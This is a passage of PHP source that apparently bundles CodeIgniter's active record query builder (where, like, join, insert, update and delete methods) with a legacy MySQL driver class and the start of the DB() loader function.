	protected function _create_alias_from_table($item)
	{
		if (strpos($item, '.') !== FALSE)
		{
			return end(explode('.', $item));
		}
		return $item;
	}
	public function distinct($val = TRUE)
	{
		$this->ar_distinct = (is_bool($val)) ? $val : TRUE;
		return $this;
	}
	public function from($from)
	{
		foreach ((array) $from as $val)
		{
			if (strpos($val, ',') !== FALSE)
			{
				foreach (explode(',', $val) as $v)
				{
					$v = trim($v);
					$this->_track_aliases($v);
					$this->ar_from[] = $this->_protect_identifiers($v, TRUE, NULL, FALSE);
					if ($this->ar_caching === TRUE)
					{
						$this->ar_cache_from[] = $this->_protect_identifiers($v, TRUE, NULL, FALSE);
						$this->ar_cache_exists[] = 'from';
					}
				}
			}
			else
			{
				$val = trim($val);
				$this->_track_aliases($val);
				$this->ar_from[] = $this->_protect_identifiers($val, TRUE, NULL, FALSE);
				if ($this->ar_caching === TRUE)
				{
					$this->ar_cache_from[] = $this->_protect_identifiers($val, TRUE, NULL, FALSE);
					$this->ar_cache_exists[] = 'from';
				}
			}
		}
		return $this;
	}
	public function join($table, $cond, $type = '')
	{
		if ($type != '')
		{
			$type = strtoupper(trim($type));
			if ( ! in_array($type, array('LEFT', 'RIGHT', 'OUTER', 'INNER', 'LEFT OUTER', 'RIGHT OUTER')))
			{
				$type = '';
			}
			else
			{
				$type .= ' ';
			}
		}
		$this->_track_aliases($table);
		if (preg_match('/([\w\.]+)([\W\s]+)(.+)/', $cond, $match))
		{
			$match[1] = $this->_protect_identifiers($match[1]);
			$match[3] = $this->_protect_identifiers($match[3]);
			$cond = $match[1].$match[2].$match[3];
		}
		$join = $type.'JOIN '.$this->_protect_identifiers($table, TRUE, NULL, FALSE).' ON '.$cond;
		$this->ar_join[] = $join;
		if ($this->ar_caching === TRUE)
		{
			$this->ar_cache_join[] = $join;
			$this->ar_cache_exists[] = 'join';
		}
		return $this;
	}
	public function where($key, $value = NULL, $escape = TRUE)
	{
		return $this->_where($key, $value, 'AND ', $escape);
	}
	public function or_where($key, $value = NULL, $escape = TRUE)
	{
		return $this->_where($key, $value, 'OR ', $escape);
	}
	protected function _where($key, $value = NULL, $type = 'AND ', $escape = NULL)
	{
		if ( ! is_array($key))
		{
			$key = array($key => $value);
		}
		if ( ! is_bool($escape))
		{
			$escape = $this->_protect_identifiers;
		}
		foreach ($key as $k => $v)
		{
			$prefix = (count($this->ar_where) == 0 AND count($this->ar_cache_where) == 0) ? '' : $type;
			if (is_null($v) && ! $this->_has_operator($k))
			{
				$k .= ' IS NULL';
			}
			if ( ! is_null($v))
			{
				if ($escape === TRUE)
				{
					$k = $this->_protect_identifiers($k, FALSE, $escape);
					$v = ' '.$this->escape($v);
				}
				if ( ! $this->_has_operator($k))
				{
					$k .= ' = ';
				}
			}
			else
			{
				$k = $this->_protect_identifiers($k, FALSE, $escape);
			}
			$this->ar_where[] = $prefix.$k.$v;
			if ($this->ar_caching === TRUE)
			{
				$this->ar_cache_where[] = $prefix.$k.$v;
				$this->ar_cache_exists[] = 'where';
			}
		}
		return $this;
	}
	public function where_in($key = NULL, $values = NULL)
	{
		return $this->_where_in($key, $values);
	}
	public function or_where_in($key = NULL, $values = NULL)
	{
		return $this->_where_in($key, $values, FALSE, 'OR ');
	}
	public function where_not_in($key = NULL, $values = NULL)
	{
		return $this->_where_in($key, $values, TRUE);
	}
	public function or_where_not_in($key = NULL, $values = NULL)
	{
		return $this->_where_in($key, $values, TRUE, 'OR ');
	}
	protected function _where_in($key = NULL, $values = NULL, $not = FALSE, $type = 'AND ')
	{
		if ($key === NULL OR $values === NULL)
		{
			return;
		}
		if ( ! is_array($values))
		{
			$values = array($values);
		}
		$not = ($not) ? ' NOT' : '';
		foreach ($values as $value)
		{
			$this->ar_wherein[] = $this->escape($value);
		}
		$prefix = (count($this->ar_where) == 0) ? '' : $type;
		$where_in = $prefix . $this->_protect_identifiers($key) . $not . " IN (" . implode(", ", $this->ar_wherein) . ") ";
		$this->ar_where[] = $where_in;
		if ($this->ar_caching === TRUE)
		{
			$this->ar_cache_where[] = $where_in;
			$this->ar_cache_exists[] = 'where';
		}
		$this->ar_wherein = array();
		return $this;
	}
	public function like($field, $match = '', $side = 'both')
	{
		return $this->_like($field, $match, 'AND ', $side);
	}
	public function not_like($field, $match = '', $side = 'both')
	{
		return $this->_like($field, $match, 'AND ', $side, 'NOT');
	}
	public function or_like($field, $match = '', $side = 'both')
	{
		return $this->_like($field, $match, 'OR ', $side);
	}
	public function or_not_like($field, $match = '', $side = 'both')
	{
		return $this->_like($field, $match, 'OR ', $side, 'NOT');
	}
	protected function _like($field, $match = '', $type = 'AND ', $side = 'both', $not = '')
	{
		if ( ! is_array($field))
		{
			$field = array($field => $match);
		}
		foreach ($field as $k => $v)
		{
			$k = $this->_protect_identifiers($k);
			$prefix = (count($this->ar_like) == 0) ? '' : $type;
			$v = $this->escape_like_str($v);
			if ($side == 'none')
			{
				$like_statement = $prefix." $k $not LIKE '{$v}'";
			}
			elseif ($side == 'before')
			{
				$like_statement = $prefix." $k $not LIKE '%{$v}'";
			}
			elseif ($side == 'after')
			{
				$like_statement = $prefix." $k $not LIKE '{$v}%'";
			}
			else
			{
				$like_statement = $prefix." $k $not LIKE '%{$v}%'";
			}
			if ($this->_like_escape_str != '')
			{
				$like_statement = $like_statement.sprintf($this->_like_escape_str, $this->_like_escape_chr);
			}
			$this->ar_like[] = $like_statement;
			if ($this->ar_caching === TRUE)
			{
				$this->ar_cache_like[] = $like_statement;
				$this->ar_cache_exists[] = 'like';
			}
		}
		return $this;
	}
	public function group_by($by)
	{
		if (is_string($by))
		{
			$by = explode(',', $by);
		}
		foreach ($by as $val)
		{
			$val = trim($val);
			if ($val != '')
			{
				$this->ar_groupby[] = $this->_protect_identifiers($val);
				if ($this->ar_caching === TRUE)
				{
					$this->ar_cache_groupby[] = $this->_protect_identifiers($val);
					$this->ar_cache_exists[] = 'groupby';
				}
			}
		}
		return $this;
	}
	public function having($key, $value = '', $escape = TRUE)
	{
		return $this->_having($key, $value, 'AND ', $escape);
	}
	public function or_having($key, $value = '', $escape = TRUE)
	{
		return $this->_having($key, $value, 'OR ', $escape);
	}
	protected function _having($key, $value = '', $type = 'AND ', $escape = TRUE)
	{
		if ( ! is_array($key))
		{
			$key = array($key => $value);
		}
		foreach ($key as $k => $v)
		{
			$prefix = (count($this->ar_having) == 0) ? '' : $type;
			if ($escape === TRUE)
			{
				$k = $this->_protect_identifiers($k);
			}
			if ( ! $this->_has_operator($k))
			{
				$k .= ' = ';
			}
			if ($v != '')
			{
				$v = ' '.$this->escape($v);
			}
			$this->ar_having[] = $prefix.$k.$v;
			if ($this->ar_caching === TRUE)
			{
				$this->ar_cache_having[] = $prefix.$k.$v;
				$this->ar_cache_exists[] = 'having';
			}
		}
		return $this;
	}
	public function order_by($orderby, $direction = '')
	{
		if (strtolower($direction) == 'random')
		{
			$orderby = ''; // Random results want or don't need a field name
			$direction = $this->_random_keyword;
		}
		elseif (trim($direction) != '')
		{
			$direction = (in_array(strtoupper(trim($direction)), array('ASC', 'DESC'), TRUE)) ? ' '.$direction : ' ASC';
		}
		if (strpos($orderby, ',') !== FALSE)
		{
			$temp = array();
			foreach (explode(',', $orderby) as $part)
			{
				$part = trim($part);
				if ( ! in_array($part, $this->ar_aliased_tables))
				{
					$part = $this->_protect_identifiers(trim($part));
				}
				$temp[] = $part;
			}
			$orderby = implode(', ', $temp);
		}
		else if ($direction != $this->_random_keyword)
		{
			$orderby = $this->_protect_identifiers($orderby);
		}
		$orderby_statement = $orderby.$direction;
		$this->ar_orderby[] = $orderby_statement;
		if ($this->ar_caching === TRUE)
		{
			$this->ar_cache_orderby[] = $orderby_statement;
			$this->ar_cache_exists[] = 'orderby';
		}
		return $this;
	}
	public function limit($value, $offset = '')
	{
		$this->ar_limit = (int) $value;
		if ($offset != '')
		{
			$this->ar_offset = (int) $offset;
		}
		return $this;
	}
	public function offset($offset)
	{
		$this->ar_offset = $offset;
		return $this;
	}
	public function set($key, $value = '', $escape = TRUE)
	{
		$key = $this->_object_to_array($key);
		if ( ! is_array($key))
		{
			$key = array($key => $value);
		}
		foreach ($key as $k => $v)
		{
			if ($escape === FALSE)
			{
				$this->ar_set[$this->_protect_identifiers($k)] = $v;
			}
			else
			{
				$this->ar_set[$this->_protect_identifiers($k, FALSE, TRUE)] = $this->escape($v);
			}
		}
		return $this;
	}
	public function get($table = '', $limit = null, $offset = null)
	{
		if ($table != '')
		{
			$this->_track_aliases($table);
			$this->from($table);
		}
		if ( ! is_null($limit))
		{
			$this->limit($limit, $offset);
		}
		$sql = $this->_compile_select();
		$result = $this->query($sql);
		$this->_reset_select();
		return $result;
	}
	public function count_all_results($table = '')
	{
		if ($table != '')
		{
			$this->_track_aliases($table);
			$this->from($table);
		}
		$sql = $this->_compile_select($this->_count_string . $this->_protect_identifiers('numrows'));
		$query = $this->query($sql);
		$this->_reset_select();
		if ($query->num_rows() == 0)
		{
			return 0;
		}
		$row = $query->row();
		return (int) $row->numrows;
	}
	public function get_where($table = '', $where = null, $limit = null, $offset = null)
	{
		if ($table != '')
		{
			$this->from($table);
		}
		if ( ! is_null($where))
		{
			$this->where($where);
		}
		if ( ! is_null($limit))
		{
			$this->limit($limit, $offset);
		}
		$sql = $this->_compile_select();
		$result = $this->query($sql);
		$this->_reset_select();
		return $result;
	}
	public function insert_batch($table = '', $set = NULL)
	{
		if ( ! is_null($set))
		{
			$this->set_insert_batch($set);
		}
		if (count($this->ar_set) == 0)
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_must_use_set');
			}
			return FALSE;
		}
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		for ($i = 0, $total = count($this->ar_set); $i < $total; $i = $i + 100)
		{
			$sql = $this->_insert_batch($this->_protect_identifiers($table, TRUE, NULL, FALSE), $this->ar_keys, array_slice($this->ar_set, $i, 100));
			$this->query($sql);
		}
		$this->_reset_write();
		return TRUE;
	}
	public function set_insert_batch($key, $value = '', $escape = TRUE)
	{
		$key = $this->_object_to_array_batch($key);
		if ( ! is_array($key))
		{
			$key = array($key => $value);
		}
		$keys = array_keys(current($key));
		sort($keys);
		foreach ($key as $row)
		{
			if (count(array_diff($keys, array_keys($row))) > 0 OR count(array_diff(array_keys($row), $keys)) > 0)
			{
				$this->ar_set[] = array();
				return;
			}
			ksort($row); // puts $row in the same order as our keys
			if ($escape === FALSE)
			{
				$this->ar_set[] =  '('.implode(',', $row).')';
			}
			else
			{
				$clean = array();
				foreach ($row as $value)
				{
					$clean[] = $this->escape($value);
				}
				$this->ar_set[] =  '('.implode(',', $clean).')';
			}
		}
		foreach ($keys as $k)
		{
			$this->ar_keys[] = $this->_protect_identifiers($k);
		}
		return $this;
	}
	function insert($table = '', $set = NULL)
	{
		if ( ! is_null($set))
		{
			$this->set($set);
		}
		if (count($this->ar_set) == 0)
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_must_use_set');
			}
			return FALSE;
		}
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		$sql = $this->_insert($this->_protect_identifiers($table, TRUE, NULL, FALSE), array_keys($this->ar_set), array_values($this->ar_set));
		$this->_reset_write();
		return $this->query($sql);
	}
	public function replace($table = '', $set = NULL)
	{
		if ( ! is_null($set))
		{
			$this->set($set);
		}
		if (count($this->ar_set) == 0)
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_must_use_set');
			}
			return FALSE;
		}
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		$sql = $this->_replace($this->_protect_identifiers($table, TRUE, NULL, FALSE), array_keys($this->ar_set), array_values($this->ar_set));
		$this->_reset_write();
		return $this->query($sql);
	}
	public function update($table = '', $set = NULL, $where = NULL, $limit = NULL)
	{
		$this->_merge_cache();
		if ( ! is_null($set))
		{
			$this->set($set);
		}
		if (count($this->ar_set) == 0)
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_must_use_set');
			}
			return FALSE;
		}
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		if ($where != NULL)
		{
			$this->where($where);
		}
		if ($limit != NULL)
		{
			$this->limit($limit);
		}
		$sql = $this->_update($this->_protect_identifiers($table, TRUE, NULL, FALSE), $this->ar_set, $this->ar_where, $this->ar_orderby, $this->ar_limit);
		$this->_reset_write();
		return $this->query($sql);
	}
	public function update_batch($table = '', $set = NULL, $index = NULL)
	{
		$this->_merge_cache();
		if (is_null($index))
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_must_use_index');
			}
			return FALSE;
		}
		if ( ! is_null($set))
		{
			$this->set_update_batch($set, $index);
		}
		if (count($this->ar_set) == 0)
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_must_use_set');
			}
			return FALSE;
		}
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		for ($i = 0, $total = count($this->ar_set); $i < $total; $i = $i + 100)
		{
			$sql = $this->_update_batch($this->_protect_identifiers($table, TRUE, NULL, FALSE), array_slice($this->ar_set, $i, 100), $this->_protect_identifiers($index), $this->ar_where);
			$this->query($sql);
		}
		$this->_reset_write();
	}
	public function set_update_batch($key, $index = '', $escape = TRUE)
	{
		$key = $this->_object_to_array_batch($key);
		if ( ! is_array($key))
		{
			// @todo error
		}
		foreach ($key as $k => $v)
		{
			$index_set = FALSE;
			$clean = array();
			foreach ($v as $k2 => $v2)
			{
				if ($k2 == $index)
				{
					$index_set = TRUE;
				}
				else
				{
					$not[] = $k2.'-'.$v2;
				}
				if ($escape === FALSE)
				{
					$clean[$this->_protect_identifiers($k2)] = $v2;
				}
				else
				{
					$clean[$this->_protect_identifiers($k2)] = $this->escape($v2);
				}
			}
			if ($index_set == FALSE)
			{
				return $this->display_error('db_batch_missing_index');
			}
			$this->ar_set[] = $clean;
		}
		return $this;
	}
	public function empty_table($table = '')
	{
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		else
		{
			$table = $this->_protect_identifiers($table, TRUE, NULL, FALSE);
		}
		$sql = $this->_delete($table);
		$this->_reset_write();
		return $this->query($sql);
	}
	public function truncate($table = '')
	{
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		else
		{
			$table = $this->_protect_identifiers($table, TRUE, NULL, FALSE);
		}
		$sql = $this->_truncate($table);
		$this->_reset_write();
		return $this->query($sql);
	}
	public function delete($table = '', $where = '', $limit = NULL, $reset_data = TRUE)
	{
		$this->_merge_cache();
		if ($table == '')
		{
			if ( ! isset($this->ar_from[0]))
			{
				if ($this->db_debug)
				{
					return $this->display_error('db_must_set_table');
				}
				return FALSE;
			}
			$table = $this->ar_from[0];
		}
		elseif (is_array($table))
		{
			foreach ($table as $single_table)
			{
				$this->delete($single_table, $where, $limit, FALSE);
			}
			$this->_reset_write();
			return;
		}
		else
		{
			$table = $this->_protect_identifiers($table, TRUE, NULL, FALSE);
		}
		if ($where != '')
		{
			$this->where($where);
		}
		if ($limit != NULL)
		{
			$this->limit($limit);
		}
		if (count($this->ar_where) == 0 && count($this->ar_wherein) == 0 && count($this->ar_like) == 0)
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_del_must_use_where');
			}
			return FALSE;
		}
		$sql = $this->_delete($table, $this->ar_where, $this->ar_like, $this->ar_limit);
		if ($reset_data)
		{
			$this->_reset_write();
		}
		return $this->query($sql);
	}
	public function dbprefix($table = '')
	{
		if ($table == '')
		{
			$this->display_error('db_table_name_required');
		}
		return $this->dbprefix.$table;
	}
	public function set_dbprefix($prefix = '')
	{
		return $this->dbprefix = $prefix;
	}
	protected function _track_aliases($table)
	{
		if (is_array($table))
		{
			foreach ($table as $t)
			{
				$this->_track_aliases($t);
			}
			return;
		}
		if (strpos($table, ',') !== FALSE)
		{
			return $this->_track_aliases(explode(',', $table));
		}
		if (strpos($table, " ") !== FALSE)
		{
			$table = preg_replace('/\s+AS\s+/i', ' ', $table);
			$table = trim(strrchr($table, " "));
			if ( ! in_array($table, $this->ar_aliased_tables))
			{
				$this->ar_aliased_tables[] = $table;
			}
		}
	}
	protected function _compile_select($select_override = FALSE)
	{
		$this->_merge_cache();
		if ($select_override !== FALSE)
		{
			$sql = $select_override;
		}
		else
		{
			$sql = ( ! $this->ar_distinct) ? 'SELECT ' : 'SELECT DISTINCT ';
			if (count($this->ar_select) == 0)
			{
				$sql .= '*';
			}
			else
			{
				foreach ($this->ar_select as $key => $val)
				{
					$no_escape = isset($this->ar_no_escape[$key]) ? $this->ar_no_escape[$key] : NULL;
					$this->ar_select[$key] = $this->_protect_identifiers($val, FALSE, $no_escape);
				}
				$sql .= implode(', ', $this->ar_select);
			}
		}
		if (count($this->ar_from) > 0)
		{
			$sql .= "\nFROM ";
			$sql .= $this->_from_tables($this->ar_from);
		}
		if (count($this->ar_join) > 0)
		{
			$sql .= "\n";
			$sql .= implode("\n", $this->ar_join);
		}
		if (count($this->ar_where) > 0 OR count($this->ar_like) > 0)
		{
			$sql .= "\nWHERE ";
		}
		$sql .= implode("\n", $this->ar_where);
		if (count($this->ar_like) > 0)
		{
			if (count($this->ar_where) > 0)
			{
				$sql .= "\nAND ";
			}
			$sql .= implode("\n", $this->ar_like);
		}
		if (count($this->ar_groupby) > 0)
		{
			$sql .= "\nGROUP BY ";
			$sql .= implode(', ', $this->ar_groupby);
		}
		if (count($this->ar_having) > 0)
		{
			$sql .= "\nHAVING ";
			$sql .= implode("\n", $this->ar_having);
		}
		if (count($this->ar_orderby) > 0)
		{
			$sql .= "\nORDER BY ";
			$sql .= implode(', ', $this->ar_orderby);
			if ($this->ar_order !== FALSE)
			{
				$sql .= ($this->ar_order == 'desc') ? ' DESC' : ' ASC';
			}
		}
		if (is_numeric($this->ar_limit))
		{
			$sql .= "\n";
			$sql = $this->_limit($sql, $this->ar_limit, $this->ar_offset);
		}
		return $sql;
	}
	public function _object_to_array($object)
	{
		if ( ! is_object($object))
		{
			return $object;
		}
		$array = array();
		foreach (get_object_vars($object) as $key => $val)
		{
			if ( ! is_object($val) && ! is_array($val) && $key != '_parent_name')
			{
				$array[$key] = $val;
			}
		}
		return $array;
	}
	public function _object_to_array_batch($object)
	{
		if ( ! is_object($object))
		{
			return $object;
		}
		$array = array();
		$out = get_object_vars($object);
		$fields = array_keys($out);
		foreach ($fields as $val)
		{
			if ($val != '_parent_name')
			{
				$i = 0;
				foreach ($out[$val] as $data)
				{
					$array[$i][$val] = $data;
					$i++;
				}
			}
		}
		return $array;
	}
	public function start_cache()
	{
		$this->ar_caching = TRUE;
	}
	public function stop_cache()
	{
		$this->ar_caching = FALSE;
	}
	public function flush_cache()
	{
		$this->_reset_run(array(
			'ar_cache_select'		=> array(),
			'ar_cache_from'			=> array(),
			'ar_cache_join'			=> array(),
			'ar_cache_where'		=> array(),
			'ar_cache_like'			=> array(),
			'ar_cache_groupby'		=> array(),
			'ar_cache_having'		=> array(),
			'ar_cache_orderby'		=> array(),
			'ar_cache_set'			=> array(),
			'ar_cache_exists'		=> array(),
			'ar_cache_no_escape'	=> array()
		));
	}
	protected function _merge_cache()
	{
		if (count($this->ar_cache_exists) == 0)
		{
			return;
		}
		foreach ($this->ar_cache_exists as $val)
		{
			$ar_variable	= 'ar_'.$val;
			$ar_cache_var	= 'ar_cache_'.$val;
			if (count($this->$ar_cache_var) == 0)
			{
				continue;
			}
			$this->$ar_variable = array_unique(array_merge($this->$ar_cache_var, $this->$ar_variable));
		}
		if ($this->_protect_identifiers === TRUE AND count($this->ar_cache_from) > 0)
		{
			$this->_track_aliases($this->ar_from);
		}
		$this->ar_no_escape = $this->ar_cache_no_escape;
	}
	protected function _reset_run($ar_reset_items)
	{
		foreach ($ar_reset_items as $item => $default_value)
		{
			if ( ! in_array($item, $this->ar_store_array))
			{
				$this->$item = $default_value;
			}
		}
	}
	protected function _reset_select()
	{
		$ar_reset_items = array(
			'ar_select'			=> array(),
			'ar_from'			=> array(),
			'ar_join'			=> array(),
			'ar_where'			=> array(),
			'ar_like'			=> array(),
			'ar_groupby'		=> array(),
			'ar_having'			=> array(),
			'ar_orderby'		=> array(),
			'ar_wherein'		=> array(),
			'ar_aliased_tables'	=> array(),
			'ar_no_escape'		=> array(),
			'ar_distinct'		=> FALSE,
			'ar_limit'			=> FALSE,
			'ar_offset'			=> FALSE,
			'ar_order'			=> FALSE,
		);
		$this->_reset_run($ar_reset_items);
	}
	protected function _reset_write()
	{
		$ar_reset_items = array(
			'ar_set'		=> array(),
			'ar_from'		=> array(),
			'ar_where'		=> array(),
			'ar_like'		=> array(),
			'ar_orderby'	=> array(),
			'ar_keys'		=> array(),
			'ar_limit'		=> FALSE,
			'ar_order'		=> FALSE
		);
		$this->_reset_run($ar_reset_items);
	}
}
class CI_DB extends CI_DB_active_record{
}
//end db_active_rec
// class mysql_driver.php
class CI_DB_mysql_driver extends CI_DB {
	var $dbdriver = 'mysql';
	var	$_escape_char = '`';
	var $_like_escape_str = '';
	var $_like_escape_chr = '';
	var $delete_hack = TRUE;
	var $_count_string = 'SELECT COUNT(*) AS ';
	var $_random_keyword = ' RAND()'; // database specific random keyword
	var $use_set_names;
	function db_connect()
	{
		if ($this->port != '')
		{
			$this->hostname .= ':'.$this->port;
		}
		return @mysql_connect($this->hostname, $this->username, $this->password, TRUE);
	}
	function db_pconnect()
	{
		if ($this->port != '')
		{
			$this->hostname .= ':'.$this->port;
		}
		return @mysql_pconnect($this->hostname, $this->username, $this->password);
	}
	function reconnect()
	{
		if (mysql_ping($this->conn_id) === FALSE)
		{
			$this->conn_id = FALSE;
		}
	}
	function db_select()
	{
		return @mysql_select_db($this->database, $this->conn_id);
	}
	function db_set_charset($charset, $collation)
	{
		if ( ! isset($this->use_set_names))
		{
			$this->use_set_names = (version_compare(PHP_VERSION, '5.2.3', '>=') && version_compare(mysql_get_server_info(), '5.0.7', '>=')) ? FALSE : TRUE;
		}
		if ($this->use_set_names === TRUE)
		{
			return @mysql_query("SET NAMES '".$this->escape_str($charset)."' COLLATE '".$this->escape_str($collation)."'", $this->conn_id);
		}
		else
		{
			return @mysql_set_charset($charset, $this->conn_id);
		}
	}
	function _version()
	{
		return "SELECT version() AS ver";
	}
	function _execute($sql)
	{
		$sql = $this->_prep_query($sql);
		$result=mysql_query($sql, $this->conn_id);
		if(!$result){
			die(mysql_error());
		}
		return $result;
	}
	function _prep_query($sql)
	{
		if ($this->delete_hack === TRUE)
		{
			if (preg_match('/^\s*DELETE\s+FROM\s+(\S+)\s*$/i', $sql))
			{
				$sql = preg_replace("/^\s*DELETE\s+FROM\s+(\S+)\s*$/", "DELETE FROM \\1 WHERE 1=1", $sql);
			}
		}
		return $sql;
	}
	function trans_begin($test_mode = FALSE)
	{
		if ( ! $this->trans_enabled)
		{
			return TRUE;
		}
		if ($this->_trans_depth > 0)
		{
			return TRUE;
		}
		$this->_trans_failure = ($test_mode === TRUE) ? TRUE : FALSE;
		$this->simple_query('SET AUTOCOMMIT=0');
		$this->simple_query('START TRANSACTION'); // can also be BEGIN or BEGIN WORK
		return TRUE;
	}
	function trans_commit()
	{
		if ( ! $this->trans_enabled)
		{
			return TRUE;
		}
		if ($this->_trans_depth > 0)
		{
			return TRUE;
		}
		$this->simple_query('COMMIT');
		$this->simple_query('SET AUTOCOMMIT=1');
		return TRUE;
	}
	function trans_rollback()
	{
		if ( ! $this->trans_enabled)
		{
			return TRUE;
		}
		if ($this->_trans_depth > 0)
		{
			return TRUE;
		}
		$this->simple_query('ROLLBACK');
		$this->simple_query('SET AUTOCOMMIT=1');
		return TRUE;
	}
	function escape_str($str, $like = FALSE)
	{
		if (is_array($str))
		{
			foreach ($str as $key => $val)
	   		{
				$str[$key] = $this->escape_str($val, $like);
	   		}
	   		return $str;
	   	}
		if (function_exists('mysql_real_escape_string') AND is_resource($this->conn_id))
		{
			$str = mysql_real_escape_string($str, $this->conn_id);
		}
		elseif (function_exists('mysql_escape_string'))
		{
			$str = mysql_escape_string($str);
		}
		else
		{
			$str = addslashes($str);
		}
		if ($like === TRUE)
		{
			$str = str_replace(array('%', '_'), array('\\%', '\\_'), $str);
		}
		return $str;
	}
	function affected_rows()
	{
		return @mysql_affected_rows($this->conn_id);
	}
	function insert_id()
	{
		return @mysql_insert_id($this->conn_id);
	}
	function count_all($table = '')
	{
		if ($table == '')
		{
			return 0;
		}
		$query = $this->query($this->_count_string . $this->_protect_identifiers('numrows') . " FROM " . $this->_protect_identifiers($table, TRUE, NULL, FALSE));
		if ($query->num_rows() == 0)
		{
			return 0;
		}
		$row = $query->row();
		$this->_reset_select();
		return (int) $row->numrows;
	}
	function _list_tables($prefix_limit = FALSE)
	{
		$sql = "SHOW TABLES FROM ".$this->_escape_char.$this->database.$this->_escape_char;
		if ($prefix_limit !== FALSE AND $this->dbprefix != '')
		{
			$sql .= " LIKE '".$this->escape_like_str($this->dbprefix)."%'";
		}
		return $sql;
	}
	function _list_columns($table = '')
	{
		return "SHOW COLUMNS FROM ".$this->_protect_identifiers($table, TRUE, NULL, FALSE);
	}
	function _field_data($table)
	{
		return "DESCRIBE ".$table;
	}
	function _error_message()
	{
		return mysql_error($this->conn_id);
	}
	function _error_number()
	{
		return mysql_errno($this->conn_id);
	}
	function _escape_identifiers($item)
	{
		if ($this->_escape_char == '')
		{
			return $item;
		}
		foreach ($this->_reserved_identifiers as $id)
		{
			if (strpos($item, '.'.$id) !== FALSE)
			{
				$str = $this->_escape_char. str_replace('.', $this->_escape_char.'.', $item);
				return preg_replace('/['.$this->_escape_char.']+/', $this->_escape_char, $str);
			}
		}
		if (strpos($item, '.') !== FALSE)
		{
			$str = $this->_escape_char.str_replace('.', $this->_escape_char.'.'.$this->_escape_char, $item).$this->_escape_char;
		}
		else
		{
			$str = $this->_escape_char.$item.$this->_escape_char;
		}
		return preg_replace('/['.$this->_escape_char.']+/', $this->_escape_char, $str);
	}
	function _from_tables($tables)
	{
		if ( ! is_array($tables))
		{
			$tables = array($tables);
		}
		return '('.implode(', ', $tables).')';
	}
	function _insert($table, $keys, $values)
	{
		return "INSERT INTO ".$table." (".implode(', ', $keys).") VALUES (".implode(', ', $values).")";
	}
	function _replace($table, $keys, $values)
	{
		return "REPLACE INTO ".$table." (".implode(', ', $keys).") VALUES (".implode(', ', $values).")";
	}
	function _insert_batch($table, $keys, $values)
	{
		return "INSERT INTO ".$table." (".implode(', ', $keys).") VALUES ".implode(', ', $values);
	}
	function _update($table, $values, $where, $orderby = array(), $limit = FALSE)
	{
		foreach ($values as $key => $val)
		{
			$valstr[] = $key . ' = ' . $val;
		}
		$limit = ( ! $limit) ? '' : ' LIMIT '.$limit;
		$orderby = (count($orderby) >= 1)?' ORDER BY '.implode(", ", $orderby):'';
		$sql = "UPDATE ".$table." SET ".implode(', ', $valstr);
		$sql .= ($where != '' AND count($where) >=1) ? " WHERE ".implode(" ", $where) : '';
		$sql .= $orderby.$limit;
		return $sql;
	}
	function _update_batch($table, $values, $index, $where = NULL)
	{
		$ids = array();
		$where = ($where != '' AND count($where) >=1) ? implode(" ", $where).' AND ' : '';
		foreach ($values as $key => $val)
		{
			$ids[] = $val[$index];
			foreach (array_keys($val) as $field)
			{
				if ($field != $index)
				{
					$final[$field][] =  'WHEN '.$index.' = '.$val[$index].' THEN '.$val[$field];
				}
			}
		}
		$sql = "UPDATE ".$table." SET ";
		$cases = '';
		foreach ($final as $k => $v)
		{
			$cases .= $k.' = CASE '."\n";
			foreach ($v as $row)
			{
				$cases .= $row."\n";
			}
			$cases .= 'ELSE '.$k.' END, ';
		}
		$sql .= substr($cases, 0, -2);
		$sql .= ' WHERE '.$where.$index.' IN ('.implode(',', $ids).')';
		return $sql;
	}
	function _truncate($table)
	{
		return "TRUNCATE ".$table;
	}
	function _delete($table, $where = array(), $like = array(), $limit = FALSE)
	{
		$conditions = '';
		if (count($where) > 0 OR count($like) > 0)
		{
			$conditions = "\nWHERE ";
			$conditions .= implode("\n", $this->ar_where);
			if (count($where) > 0 && count($like) > 0)
			{
				$conditions .= " AND ";
			}
			$conditions .= implode("\n", $like);
		}
		$limit = ( ! $limit) ? '' : ' LIMIT '.$limit;
		return "DELETE FROM ".$table.$conditions.$limit;
	}
	function _limit($sql, $limit, $offset)
	{
		if ($offset == 0)
		{
			$offset = '';
		}
		else
		{
			$offset .= ", ";
		}
		return $sql."LIMIT ".$offset.$limit;
	}
	function _close($conn_id)
	{
		@mysql_close($conn_id);
	}
}
//end mysql_driver.php
function &DB($params = '', $active_record_override = NULL)
{
	if (is_string($params) AND strpos($params, '://') === FALSE)
	{
		if ( ! defined('ENVIRONMENT') OR ! file_exists($file_path = APPPATH.'config/'.ENVIRONMENT.'/database.php'))
		{
			if ( ! file_exists($file_path = APPPATH.'config/database.php'))
			{
				show_error('The configuration file database.php does not exist.');
			}
		}
		include($file_path);
		if ( ! isset($db) OR count($db) == 0)
		{
			show_error('No database connection settings were found in the database config file.');
		}
